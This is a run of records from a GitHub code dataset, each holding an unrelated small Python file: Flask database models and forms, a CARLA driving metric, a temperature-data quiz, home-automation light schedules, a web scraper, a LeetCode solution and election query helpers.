'early_expenses': early_expenses\n }\n \n # Update company metrics\n company_metrics['total_wage_expenses'] += early_expenses\n\n # Update min and max departments based on early expenses\n if company_metrics['min_max_early_wages']['min_department'] is None or \\\n department_metrics[department]['early_expenses'] < \\\n department_metrics[company_metrics['min_max_early_wages']['min_department']]['early_expenses']:\n company_metrics['min_max_early_wages']['min_department'] = department\n\n if company_metrics['min_max_early_wages']['max_department'] is None or \\\n department_metrics[department]['early_expenses'] > \\\n department_metrics[company_metrics['min_max_early_wages']['max_department']]['early_expenses']:\n company_metrics['min_max_early_wages']['max_department'] = department\n\n# Step 3: Save the metrics to a text file\ntxt_file_path = './supportfiles/metrics.txt' # Replace with the desired output text file path\n\nwith open(txt_file_path, 'w') as txt_file:\n # Write company-level metrics\n txt_file.write(\"Company Metrics:\\n\")\n txt_file.write(f\"Number of Departments: {company_metrics['num_departments']}\\n\")\n txt_file.write(f\"Departments with Lowest Early Wages: {company_metrics['min_max_early_wages']['min_department']}\\n\")\n txt_file.write(f\"Departments with Highest Early Wages: {company_metrics['min_max_early_wages']['max_department']}\\n\")\n txt_file.write(f\"Total Wage Expenses: {company_metrics['total_wage_expenses']}\\n\\n\")\n\n # Write department-level metrics\n txt_file.write(\"Department Metrics:\\n\")\n for department, metrics in department_metrics.items():\n txt_file.write(f\"Department: {department}\\n\")\n txt_file.write(f\"Number of Employees: {metrics['num_employees']}\\n\")\n txt_file.write(f\"Average Salary: {metrics['avg_salary']}\\n\")\n txt_file.write(f\"Early Expenses: {metrics['early_expenses']}\\n\\n\")\n\nprint(f'The metrics have been successfully calculated and saved to {txt_file_path}.')","repo_name":"Zaupower/infosec","sub_path":"PRCSE/PL3/ex10.py","file_name":"ex10.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16858812981","text":"import os\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import UniqueConstraint\ndb = SQLAlchemy()\n\n\nclass Book(db.Model):\n \"\"\"Book added to db\"\"\"\n # Possible to add constraint to two columns\n __tablename__ = \"books\"\n\n id = db.Column(db.Integer,\n autoincrement=True,\n primary_key=True)\n title = db.Column(db.String(250),\n nullable=False)\n author = db.Column(db.String(50),\n nullable=False)\n UniqueConstraint(title, author)\n\n def __repr__(self):\n return \"\".format(self.id, self.title, self.author)\n\n\nclass Genre(db.Model):\n \"\"\"Genres added to db\"\"\"\n\n __tablename__ = \"genres\"\n id = db.Column(db.Integer,\n autoincrement=True,\n primary_key=True)\n genre = db.Column(db.String(25),\n unique=True,\n nullable=False)\n\n def __repr__(self):\n return \"\".format(self.id, self.genre)\n\n\nclass BookGenre(db.Model):\n \"\"\"Relational table of books with their genre\"\"\"\n\n __tablename__ = \"books_genres\"\n id = db.Column(db.Integer,\n autoincrement=True,\n primary_key=True)\n book_id = db.Column(db.Integer,\n db.ForeignKey('books.id'),\n nullable=False)\n genre_id = db.Column(db.Integer,\n db.ForeignKey('genres.id'),\n nullable=False)\n UniqueConstraint(book_id, genre_id)\n\n def __repr__(self):\n return \"\".format(\n self.id, self.book_id, self.genre_id)\n\n\nclass User(db.Model):\n \"\"\"Users added to the db\"\"\"\n\n __tablename__ = \"users\"\n id = db.Column(db.Integer,\n autoincrement=True,\n primary_key=True)\n fname = db.Column(db.String(25),\n nullable=False)\n lname = db.Column(db.String(25),\n nullable=False)\n email = db.Column(db.String(50),\n unique=True,\n nullable=False)\n password = db.Column(db.String(25),\n nullable=False)\n\n def __repr__(self):\n return \"\".format(\n self.id, self.fname, self.lname, self.email, self.password)\n\n\nclass BookUser(db.Model):\n \"\"\"User and their books\"\"\"\n\n ___tablename___ = \"book_users\"\n id = db.Column(db.Integer,\n autoincrement=True,\n primary_key=True)\n user_id = db.Column(db.Integer,\n db.ForeignKey('users.id'),\n nullable=False)\n book_id = db.Column(db.Integer,\n db.ForeignKey('books.id'),\n nullable=False)\n start_date = db.Column(db.Date)\n end_date = db.Column(db.Date)\n UniqueConstraint(user_id, book_id)\n\n def __repr__(self):\n return \"\".format(\n self.id, self.user_id, self.book_id)\n\n\n# class Meeting(db.Model):\n# \"\"\"Meetings added to the db\"\"\"\n\n# __tablename__ = \"meetings\"\n# id = db.Column(db.Integer,\n# autoincrement=True,\n# primary_key=True)\n# month = db.Column(db.String(9))\n# year = db.Column(db.Integer)\n\n# def __repr__(self):\n# return \"\".format(\n# self.id, self.month, self.year)\n\n\n# class UserMeeting(db.Model):\n# \"\"\"Users at a Meeting\"\"\"\n\n# __tablename__ = \"user_meetings\"\n# id = db.Column(db.Integer,\n# autoincrement=True,\n# primary_key=True)\n# user_id = db.Column(db.Integer,\n# db.ForeignKey('users.id'),\n# nullable=False)\n# meeting_id = db.Column(db.Integer,\n# db.ForeignKey('meetings.id'),\n# nullable=False)\n\n# def __repr__(self):\n# return \"\".format(\n# self.id, self.user_id, self.meeting_id)\n\n\n# class MeetingBook(db.Model):\n# \"\"\"Books at a Meeting\"\"\"\n\n# __tablename__ = \"meeting_books\"\n# id = db.Column(db.Integer,\n# autoincrement=True,\n# primary_key=True)\n# meeting_id = db.Column(db.Integer,\n# db.ForeignKey('meetings.id'),\n# nullable=False)\n# book_id = db.Column(db.Integer,\n# db.ForeignKey('books.id'),\n# nullable=False)\n\n# def __repr__(self):\n# return \"\".format(\n# self.id, self.meeting_id, self.book_id)\n\n\n##############################################################################\n# Helper functions\n\ndef connect_to_db(app):\n \"\"\"Connect the database to our Flask app.\"\"\"\n\n # Configure to use our PstgreSQL database\n database_url = os.environ.get(\"DATABASE_URL\")\n if database_url:\n app.config['SQLALCHEMY_DATABASE_URI'] = database_url\n else:\n app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://zjflores@localhost:5432/book_project'\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n db.app = app\n db.init_app(app)\n\n\nif __name__ == \"__main__\":\n # As a convenience, if we run this module interactively, it will leave\n # you in a state of being able to work with the database directly.\n\n from server import app\n connect_to_db(app)\n print(\"Connected to DB.\")\n","repo_name":"zjflores/Book-Project","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34737505167","text":"import math\nimport json\n\nfrom srunner.metrics.examples.basic_metric import BasicMetric\n\n\nclass DistanceToLaneCenter(BasicMetric):\n \"\"\"\n Metric class DistanceToLaneCenter\n \"\"\"\n\n def _create_metric(self, town_map, log, criteria):\n \"\"\"\n Implementation of the metric.\n \"\"\"\n\n # Get ego vehicle id\n ego_id = log.get_ego_vehicle_id()\n\n dist_list = []\n frames_list = []\n\n # Get the frames the ego actor was alive and its transforms\n start, end = log.get_actor_alive_frames(ego_id)\n\n # Get the projected distance vector to the center of the lane\n for i in range(start, end + 1):\n\n ego_location = log.get_actor_transform(ego_id, i).location\n ego_waypoint = town_map.get_waypoint(ego_location)\n\n # Get the distance vector and project it\n a = ego_location - ego_waypoint.transform.location # Ego to waypoint vector\n b = ego_waypoint.transform.get_right_vector() # Waypoint perpendicular vector\n b_norm = math.sqrt(b.x * b.x + b.y * b.y + b.z * b.z)\n\n ab_dot = a.x * b.x + a.y * b.y + a.z * b.z\n dist_v = ab_dot/(b_norm*b_norm)*b\n dist = math.sqrt(dist_v.x * dist_v.x + dist_v.y * dist_v.y + dist_v.z * dist_v.z)\n\n # Get the sign of the distance (left side is positive)\n c = ego_waypoint.transform.get_forward_vector() # Waypoint forward vector\n ac_cross = c.x * a.y - c.y * a.x\n if ac_cross < 0:\n dist *= -1\n\n dist_list.append(dist)\n frames_list.append(i)\n\n # Save the results to a file\n results = {'frames': frames_list, 'distance': dist_list}\n with open('srunner/metrics/data/DistanceToLaneCenter_results.json', 'w') as fw:\n json.dump(results, fw, sort_keys=False, indent=4)\n","repo_name":"autonomousvision/transfuser","sub_path":"scenario_runner/srunner/metrics/examples/distance_to_lane_center.py","file_name":"distance_to_lane_center.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":882,"dataset":"github-code","pt":"75"} +{"seq_id":"25254001633","text":"from enum import Enum\n\n\nclass ThresholdType(Enum):\n BELOW = '<'\n ABOVE = '>'\n\n\nclass Tag(Enum):\n NO_SKYFALL = '[No Skyfall]'\n BOARD_7X6 = '[Board becomes 7x6]'\n DISABLE_POISON = '[Disable Poison/Mortal Poison effects]'\n FIXED_4S = '[Fixed 4 second movetime]'\n FIXED_5S = '[Fixed 5 second movetime]'\n ERASE_4P = '[Unable to erase 3 orbs or less]'\n ERASE_5P = '[Unable to erase 4 orbs or less]'\n\n\ndef sort_tags(tags):\n return sorted(tags, key=lambda x: x.value)\n\n\nclass AttributeDict(dict):\n def __getattr__(self, key):\n if key not in self:\n raise AttributeError()\n return self[key]\n\n __setattr__ = dict.__setitem__\n","repo_name":"RheingoldRiver/dadguide-data","sub_path":"etl/pad/raw/skills/leader_skill_common.py","file_name":"leader_skill_common.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"42022646563","text":"# Uses Global Temperature Time Series, avalaible at\n# http://data.okfn.org/data/core/global-temp, stored in the file monthly.csv,\n# assumed to be stored in the working directory.\n# Prompts the user for the source, a range of years, and a month.\n# - The source is either GCAG or GISTEMP.\n# - The range of years is of the form xxxx--xxxx, and both years can be the same,\n# or the first year can be anterior to the second year,\n# or the second year can be anterior to the first year.\n# - The month is a two digit number.\n# We assume that the input is correct and the data for the requested month\n# exist for all years in the requested range.\n# Then outputs:\n# - The average of the values for that source, for this month, for those years.\n# - The list of years (in increasing order) for which the value is larger than that average.\n# \n# Written by *** and Eric Martin for COMP9021\n\n\nimport sys\nimport os\nimport csv\n\n\nfilename = 'monthly.csv'\nif not os.path.exists(filename):\n print('There is no file named {} in the working directory, giving up...'.format(filename))\n sys.exit()\n\nsource = input('Enter the source (GCAG or GISTEMP): ')\nrange_for_the_years = input('Enter a range for the years in the form XXXX--XXXX: ')\nmonth = input('Enter a month in the form of a 2-digit number: ')\nsumall=0\naverage = 0\nyears_above_average = []\n#print(range_for_the_years)\nstart,end=range_for_the_years.split('--')\nprint(start)\nprint(end)\nstart=int(start)\nend=int(end)\nif start>end:\n transform=start\n start=end\n end=transform # 小数在前大数在后\nif month[0]=='0':\n month=int(month[1])\nelse:\n month=int(month) #month如果是两位数则改为一位\nGCAG={}\nGISTEMP={}\n\nwith open(filename) as csvfile:\n judge1=0\n judge2=0\n for line in csvfile:\n #print(line)\n form,date,mean=line.split(',')\n #print(form,date,mean)\n if form=='GCAG':\n year,mon=date.split('-')\n year=int(year)\n if judge1!=year: # 旧年则不动 新年则建一个新的数组\n GCAG[year]=[0]*13\n judge1=year \n if mon[0]=='0':\n mon=(int(mon[1]))\n else:\n mon=(int(mon)) # 把mon改成1位\n #print(GCAG)\n #mean=float(mean)\n #print(mean)\n GCAG[year][mon]=float(mean) # year为key mon为下标 注入数据\n if form=='GISTEMP':\n year,mon=date.split('-')\n year=int(year)\n if judge2!=year:\n GISTEMP[year]=[0]*13\n judge2=year \n if mon[0]=='0':\n mon=(int(mon[1]))\n else:\n mon=(int(mon))\n mean=float(mean)\n GISTEMP[year][mon]=mean\namount=0\nsumall=0\nif source=='GCAG':\n for key in GCAG:\n if key <= end and key >= start:\n sumall=sumall+GCAG[key][month]# mei nian de zhe ge yue de zhi qiu he\n amount=amount+1\n print(sumall)\n average=float(sumall/amount)# ping jun zhi\n for key in GCAG:\n if GCAG[key][month] > average and (key <= end and key >= start):\n years_above_average.append(key)\nif source=='GISTEMP':\n for key in GCAG:\n if key <= end and key >= start:\n sumall=sumall+GISTEMP[key][month]\n amount=amount+1\n average=float(sumall/amount)\n for key in GISTEMP:\n if GISTEMP[key][month] > average and (key <= end and key >= start):\n years_above_average.append(key)\n \n \n\nprint('The average anomaly for this month of those years is: {:.2f}.'.format(average))\nprint('The list of years when the temperature anomaly was above average is:')\nprint(years_above_average)\n","repo_name":"chen1415-UNSW/COMP9021","sub_path":"Quizzes/Week5/quiz_4——dic.py","file_name":"quiz_4——dic.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"23792118436","text":"from base import Base\r\nimport globals\r\nfrom globals import HouseModes, PEOPLE\r\nimport datetime\r\nfrom datetime import timedelta, date\r\n\r\nclass LightSchedule(Base):\r\n def initialize(self):\r\n \"\"\"Initialize.\"\"\"\r\n super().initialize()\r\n\r\n self.outdoor_lights = \"light.outdoor_lights\"\r\n self.hallway_window = \"light.hallway_window_light\"\r\n \r\n self.dark_lights_on = \"scene.dark_lights_on\"\r\n self.dark_lights_off = \"script.dark_lights_off\"\r\n self.run_at_sunset(self.outdoor_lights_on, offset = datetime.timedelta(minutes = -45).total_seconds())\r\n self.scheduler.run_on_evening_before_weekday(self.outdoor_lights_out, self.parse_time(\"23:59:00\"))\r\n self.scheduler.run_on_night_before_weekend_day(self.outdoor_lights_out, self.parse_time(\"00:30:00\"))\r\n\r\n self.scheduler.run_on_weekdays(self.outdoor_lights_on, self.parse_time(\"06:30:00\"))\r\n self.run_at_sunrise(self.outdoor_lights_out, offset = datetime.timedelta(minutes = 45).total_seconds())\r\n\r\n def outdoor_lights_on(self, kwargs):\r\n self.turn_on_device(self.outdoor_lights)\r\n self.turn_on_device(self.hallway_window)\r\n self.log(\"Turned on outdoor lights\")\r\n self.notification_manager.log_home(message = \"Turned on outdoor lights and hallway window.\")\r\n \r\n def outdoor_lights_out(self, kwargs):\r\n self.turn_off_device(self.outdoor_lights)\r\n self.turn_off_device(self.hallway_window)\r\n self.log(\"Turned off outdoor lights\")\r\n self.notification_manager.log_home(message = \"Turned off outdoor lights and hallway window.\")\r\n","repo_name":"chipper1/HomeAssistantConfiguration","sub_path":"appdaemon/apps/lights/light_schedule.py","file_name":"light_schedule.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"12344955404","text":"from mldb import mldb\n\nds = mldb.create_dataset({'id' : 'ds', 'type' : 'sparse.mutable'})\nds.record_row('row1', [['colA', 1, 1], ['colB', 4, 12]])\nds.record_row('row2', [['colA', 2, 132], ['colC', 40, 999]])\nds.commit()\n\nmldb.log(mldb.query(\"\"\"\n SELECT jseval('\n var res = {};\n for (var i in cols) {\n res[cols[i][0]] = cols[i][1] + \" @ \" + cols[i][2].toISOString();\n }\n return res;',\n 'cols', {*}) AS * FROM ds\n\"\"\"))\n\nrequest.set_return(\"success\")\n","repo_name":"mldbai/mldb","sub_path":"testing/cookbook/value_and_ts_in_cell.py","file_name":"value_and_ts_in_cell.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":657,"dataset":"github-code","pt":"75"} +{"seq_id":"14161038814","text":"from Runge_Kutta import RGK\n\n\ndef Vel(tn, yn):\n return 9.81 * t\n\n\nh = 0.00001\nt = 0\nH = 0\nwhile t < 5:\n H += RGK(t, H, h, Vel)\n t += h\nprint(f'H: {H}', f't: {t}')\n","repo_name":"Sernrv/programs","sub_path":"Height_calculation.py","file_name":"Height_calculation.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40146218303","text":"from collections import deque\nimport cv2\n\n\nclass Animator:\n \"\"\"Class performing an animation.\"\"\"\n\n def __init__(self, animation_queue_size):\n self.animation_queue_size = animation_queue_size\n self.animation_queue = deque(maxlen=self.animation_queue_size)\n\n self.animation_min_line_thickness = 2\n self.animation_max_line_thickness = 13\n\n def generate_color_range(self, animation_initial_color, animation_final_color):\n color_step = self.define_bgr_color_step(animation_initial_color,\n animation_final_color)\n colors = [animation_initial_color]\n size = self.animation_queue_size - 1\n for i in range(size // 2):\n colors.append(self.add_color_step_to_color(colors[-1], color_step))\n for i in range(size - (size // 2)):\n colors.append(self.sub_color_step_from_color(colors[-1], color_step))\n\n return colors\n\n def generate_thickness_range(self, animation_min_font_thickness, animation_max_font_thickness):\n thickness_step = (animation_max_font_thickness - animation_min_font_thickness + 1) / self.animation_queue_size\n thicknesses = [animation_min_font_thickness]\n thickness = animation_min_font_thickness\n size = self.animation_queue_size - 1\n for i in range(size // 2):\n thickness += thickness_step\n thicknesses.append(int(thickness))\n for i in range(size - (size // 2)):\n thickness -= thickness_step\n thicknesses.append(int(thickness))\n return thicknesses\n\n def generate_animation(self, animation_initial_color, animation_final_color):\n thicknesses = self.generate_thickness_range(self.animation_min_line_thickness,\n self.animation_max_line_thickness)\n colors = self.generate_color_range(animation_initial_color, animation_final_color)\n for i in range(self.animation_queue_size):\n self.animation_queue.append((thicknesses[i], colors[i]))\n\n def play_animation(self, frame, point_a, point_b):\n\n if self.animation_queue:\n thickness, color = self.animation_queue.pop()\n if point_a and point_b:\n cv2.line(frame, point_a, point_b, color, thickness)\n\n def define_bgr_color_step(self, initial_color: tuple, final_color: tuple):\n iters = int(self.animation_queue_size / 2)\n b_step = int((final_color[0] - initial_color[0]) / iters)\n g_step = int((final_color[1] - initial_color[1]) / iters)\n r_step = int((final_color[2] - initial_color[2]) / iters)\n return b_step, g_step, r_step\n\n @staticmethod\n def add_color_step_to_color(color: tuple, color_step: tuple):\n return [sum(color_pair) for color_pair in zip(color, color_step)]\n\n @staticmethod\n def sub_color_step_from_color(color: tuple, color_step: tuple):\n return [sum([color_pair[0], -color_pair[1]]) for color_pair in zip(color, color_step)]\n\n def is_animation_not_finished(self):\n return self.animation_queue\n","repo_name":"chamecall/PackTracker","sub_path":"Animator.py","file_name":"Animator.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11738018693","text":"\"\"\"Technical Indicators module\"\"\"\nimport numpy as np\nimport logging\nfrom utils import RSILL\n\n\ndef moving_average(data, period):\n\n ma_array = np.zeros_like(data)\n fill_array = RSILL(period)\n\n for i in range(0, len(data)):\n fill_array.add_node(data[i])\n ma_array[i] = fill_array.average()\n\n return ma_array\n\n\ndef rsi(data, period):\n \"\"\"Master function to calculate RSI array. This will only start calculating RSI after filling the average up and\n average down arrays, so they are the same size.\"\"\"\n # Need multiple stages\n # First stage: fill average up and average down\n # Second stage: calculate\n\n assert period > 0, logging.debug('Period needs to be positive.')\n\n counter, up_array, down_array = rsi_fill(data, period)\n\n return rsi_proc(data, counter, up_array, down_array)\n\n\ndef rsi_fill(data, period):\n up_array = RSILL(period)\n down_array = RSILL(period)\n counter = 0\n\n while up_array.is_full() is False and down_array.is_full() is False:\n if counter > len(data):\n raise RuntimeError('Ran out of data before RSI could be started')\n if data[counter] < data[counter+1]:\n up_array.add_node(data[counter+1] - data[counter])\n\n else:\n down_array.add_node(data[counter] - data[counter+1])\n\n counter += 1\n\n return counter, up_array, down_array\n\n\ndef rsi_proc(data, counter, up_array, down_array):\n\n rsi_array = np.zeros(len(data) - counter)\n logging.debug(\"Counter is %i\", counter)\n for i in range(counter, len(rsi_array)-1):\n if data[i] < data[i+1]:\n up_array.add_node(data[i+1] - data[i])\n else:\n down_array.add_node(data[i] - data[i+1])\n\n rsi_array[i] = 100 - (100/(1 + (up_array.average()/down_array.average())))\n\n return rsi_array\n","repo_name":"Riciardos/StockAnalysis","sub_path":"indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"37227299233","text":"import requests\nimport os\nimport datetime\nimport time\n# import pymongo\n# import pandas as pd\n# import lxml\n\n# from bs4 import BeautifulSoup\n\n\n# 现期表\nsf_url = f'https://www.100ppi.com/sf/day-'\nsf_save_dir = './sf'\n# 基差表 \nsf2_url = f'https://www.100ppi.com/sf2/day-'\nsf2_save_dir = './sf2'\n\nproxy_servers = {\n 'http': '127.0.0.1:7890',\n 'https': '127.0.0.1:7890',\n}\n\n\nstart = datetime.date(2015,2,9)\nend = datetime.date(2015,5,11)\n\nwhile end>=start:\n print(str(start))\n sf_complete_url = sf_url+str(start)+'.html'\n \n sf2_complete_url = sf2_url+str(start)+'.html'\n r = requests.get(sf_complete_url,proxies=proxy_servers)\n # time.sleep(1)\n content = r.text\n _r = requests.get(sf2_complete_url,proxies=proxy_servers)\n # time.sleep(1)\n _content = _r.text\n with open(os.path.join(sf_save_dir,'sf-day-'+str(start)+'.html'), 'w',encoding=\"utf-8\") as f:\n f.write(content)\n with open(os.path.join(sf2_save_dir,'sf2-day-'+str(start)+'.html'), 'w',encoding=\"utf-8\") as f:\n f.write(_content)\n\n start += datetime.timedelta(days=1)\n\n","repo_name":"lei0lei/futurequant","sub_path":"azfunction/100ppicrawler/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"9030275459","text":"from flask_wtf import FlaskForm\nfrom wtforms import IntegerField, StringField, SubmitField, TextAreaField, TextField\nfrom wtforms.validators import DataRequired, Email, ValidationError\nfrom flask_wtf.file import FileField, FileRequired, FileAllowed\nimport tempfile, zipfile\nfrom werkzeug.utils import secure_filename\nfrom app import db, contest\nfrom app.models import Team\n\n# Registration\ndef name_unique(form, field):\n name = field.data\n q = db.session.query(Team).filter(Team.name == name)\n already_exists = db.session.query(q.exists()).scalar()\n if already_exists:\n raise ValidationError('Name {} is already taken! Choose another.'.format(name))\n\ndef email_unique(form, field):\n email = field.data\n q = db.session.query(Team).filter(Team.email == email)\n already_exists = db.session.query(q.exists()).scalar()\n if already_exists:\n raise ValidationError('Email {} has already been used. If you think this is an error, contact the organisers.'.format(email))\n\ndef no_redundant_spaces(form, field):\n if field.data != field.data.strip():\n raise ValidationError('Please remove leading/trailing whitespace.')\n\nclass RegisterForm(FlaskForm):\n team_name = StringField('Team name', validators=[DataRequired(message=u'You must enter a team name.'), name_unique, no_redundant_spaces])\n email = StringField('Email', validators=[Email(message=u'That\\'s not a valid email address.'), email_unique])\n submit = SubmitField('Register')\n\n# Profile\ndef priv_id_exists(form, field):\n priv_id = field.data\n q = db.session.query(Team).filter(Team.private_id == priv_id)\n already_exists = db.session.query(q.exists()).scalar()\n if not already_exists:\n raise ValidationError('Private ID not found. Have you mistyped it?')\n\nclass PrivForm(FlaskForm):\n private_id = StringField('What is your private ID?', validators=[priv_id_exists])\n submit = SubmitField('Login')\n\nclass ProfileForm(FlaskForm):\n team_name = StringField('Team name', validators=[DataRequired(message=u'You must enter a team name.'), no_redundant_spaces])\n email = StringField('Email', validators=[Email(message=u'That\\'s not a valid email address.')])\n members = TextAreaField('Team members')\n countries = TextField('Countries')\n langs = TextField('Programming languages')\n file = FileField('Source code ZIP', validators=[FileAllowed(['zip'], 'Please upload a file with .zip extension.')])\n comments = TextAreaField('Comments')\n submit = SubmitField('Update profile')\n\n# Submission\n\ndef top_level_dirs(namelist):\n with_tld = [x for x in namelist if '/' in x]\n return with_tld\n\n# XXX: stages\ndef bad_archive_contents(namelist):\n num_probs = contest.get_num_probs()\n acc_sol = ['prob-{:03d}.sol'.format(k) for k in range(1, num_probs + 1)]\n acc = set(acc_sol)\n\n if contest.can_buy():\n acc_buy = ['prob-{:03d}.buy'.format(k) for k in range(1, num_probs + 1)]\n acc = set(acc_sol + acc_buy)\n\n bad = [x for x in namelist if x not in acc]\n return bad\n\ndef validate_zip(form, field):\n f = field.data\n with tempfile.TemporaryFile(mode=\"w+b\") as fp:\n f.save(fp)\n # Important: reset the stream so the file can be saved again\n f.stream.seek(0)\n try:\n z = zipfile.ZipFile(fp)\n ret = z.testzip()\n if ret is not None:\n raise ValidationError('The ZIP archive is corrupt: first bad file is {}.'.format(ret))\n \n fn = z.namelist()\n tlds = top_level_dirs(fn)\n if len(tlds) > 0:\n raise ValidationError('The ZIP archives a directory rather than the solution files directly. Disallowed: {}'.format(tlds))\n\n bad = bad_archive_contents(fn)\n if len(bad) != 0:\n raise ValidationError('ZIP not in the required format. Disallowed contents: {}'.format(bad))\n # One of the sub-exceptions in the try-block\n except ValidationError as ve:\n raise ve\n except zipfile.BadZipfile:\n raise ValidationError('File has .zip extension, but is not a ZIP file.')\n\nclass SubmitForm(FlaskForm):\n private_id = StringField('Private ID', validators=[no_redundant_spaces, priv_id_exists])\n file = FileField('Solution ZIP file', validators=[FileRequired(), FileAllowed(['zip'], 'Please upload a file with .zip extension.'), validate_zip])\n submit = SubmitField('Send submission')\n\nclass LambdaSubmitForm(FlaskForm):\n private_id = StringField('Private ID', validators=[no_redundant_spaces, priv_id_exists])\n block_num = IntegerField('Block number')\n solution = FileField('Solution file', validators=[FileRequired(), FileAllowed(['sol'], 'Task solutions must have a .sol extension.')])\n puzzle = FileField('Puzzle file', validators=[FileRequired(), FileAllowed(['desc'], 'Puzzle solutions must have a .desc extension.')])\n submit = SubmitField('Send submission')\n","repo_name":"icfpcontest2019/grading","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30533336525","text":"# needed for python unit testings\n# https://docs.python.org/3/library/unittest.html\nimport unittest\n\n# required for type hinting\n# https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html\nfrom typing import List, Optional\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n '''\n Given the root node of a binary search tree and two integers low and\n high, return the sum of all nodes with a value in the inclusive\n range [low, high].\n '''\n def rangeSumBST(self, root: Optional[TreeNode], low: int, high: int) -> int:\n if root is None:\n return 0\n sum = 0\n if root.val >= low:\n sum += self.rangeSumBST(root.left, low, high)\n if root.val <= high:\n sum += self.rangeSumBST(root.right, low, high)\n if root.val >= low and root.val <= high:\n sum += root.val\n return sum\n\nclass UnitTesting(unittest.TestCase):\n # actual test to run on Solution\n def test_one(self):\n s = Solution()\n t = TreeNode(10, TreeNode(5, TreeNode(3), TreeNode(7)), TreeNode(15, None, TreeNode(18)))\n self.assertEqual(s.rangeSumBST(t, 7, 15), 32)\n\n def test_two(self):\n s = Solution()\n t = TreeNode(10, TreeNode(5, TreeNode(3, TreeNode(1)), TreeNode(7, TreeNode(6))), TreeNode(15, TreeNode(13), 18))\n self.assertEqual(s.rangeSumBST(t, 6, 10), 23)\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","repo_name":"olsenw/LeetCodeExercises","sub_path":"Python3/range_sum_of_BST.py","file_name":"range_sum_of_BST.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16981673356","text":"from models import (\n Politician,\n District,\n Election,\n Counties,\n db,\n app,\n politician_schema,\n district_schema,\n election_schema,\n)\n\nfrom sqlalchemy import and_, or_, func\nfrom query_helpers import *\n\n# Filters elections by one of the four supported attributes\n# Supports filtering for multiple values for the attribute\ndef filter_election_by(elect_query, filtering, what):\n if filtering == \"type\":\n elect_query = elect_query.filter(Election.class_name.in_(what))\n\n elif filtering == \"dist\":\n elect_query = elect_query.filter(Election.district_number.in_(what))\n\n elif filtering == \"office\":\n elect_query = elect_query.filter(Election.office.in_(what))\n\n elif filtering == \"counties\":\n filters = []\n for county in what:\n filters.append(District.counties.any(name=county))\n elect_query = elect_query.join(District).filter(or_(*tuple(filters)))\n\n return elect_query\n\n\n# Filters elections for all four supported attributes\ndef filter_elections(elect_query, queries):\n election_type = get_query(\"type\", queries)\n office_type = get_query(\"office\", queries)\n dist_number = get_query(\"dist\", queries)\n counties = get_query(\"counties\", queries)\n\n if election_type:\n elect_query = filter_election_by(elect_query, \"type\", election_type)\n\n if office_type != None:\n elect_query = filter_election_by(elect_query, \"office\", office_type)\n\n if dist_number:\n elect_query = filter_election_by(elect_query, \"dist\", dist_number)\n\n if counties:\n elect_query = filter_election_by(elect_query, \"counties\", counties)\n\n return elect_query\n\n\n# Sorts elections by one of the four supported attributes\n# in ascending or descending order\ndef sort_election_by(sorting, elect_query, desc):\n elect = None\n\n if sorting == \"dist\":\n elect = Election.district_number\n elif sorting == \"electionDate\":\n elect = Election.election_day\n elif sorting == \"voters\":\n elect = Election.total_voters\n else:\n return elect_query\n\n if desc:\n return elect_query.order_by(elect.desc())\n else:\n return elect_query.order_by(elect)\n\n\n# Determines whether attribute will be sorted in ascending or descending order\n# Passes attribute to be sorted to sort_election_by for sorting\n# Only supports sorting on one attribute at a time\ndef sort_elections(sort, elect_query):\n if sort == None:\n return elect_query\n else:\n sort = sort[0]\n\n sort = sort.split(\"-\")\n\n # In descending order\n if len(sort) > 1:\n return sort_election_by(sort[1], elect_query, True)\n else:\n return sort_election_by(sort[0], elect_query, False)\n\n\n# Applies filter with an \"or\" on each attribute\n# District number and counties have to be an exact match\ndef search_elections(q, elect_query):\n if not q:\n return elect_query\n else:\n q = q[0].strip()\n\n terms = q.split()\n\n searches = []\n for term in terms:\n try:\n searches.append(Election.district_number.in_([int(term)]))\n except ValueError:\n pass\n searches.append(Election.class_name.match(term))\n searches.append(Election.office.match(term))\n searches.append(\n Election.current_district.has(\n District.counties.any(func.lower(Counties.name).contains(term.lower()))\n )\n )\n searches.append(\n Election.politicians.any(Politician.name.ilike(\"%{}%\".format(term)))\n )\n searches.append(Election.election_day.match(term))\n elect_query = elect_query.filter(or_(*tuple(searches)))\n\n return 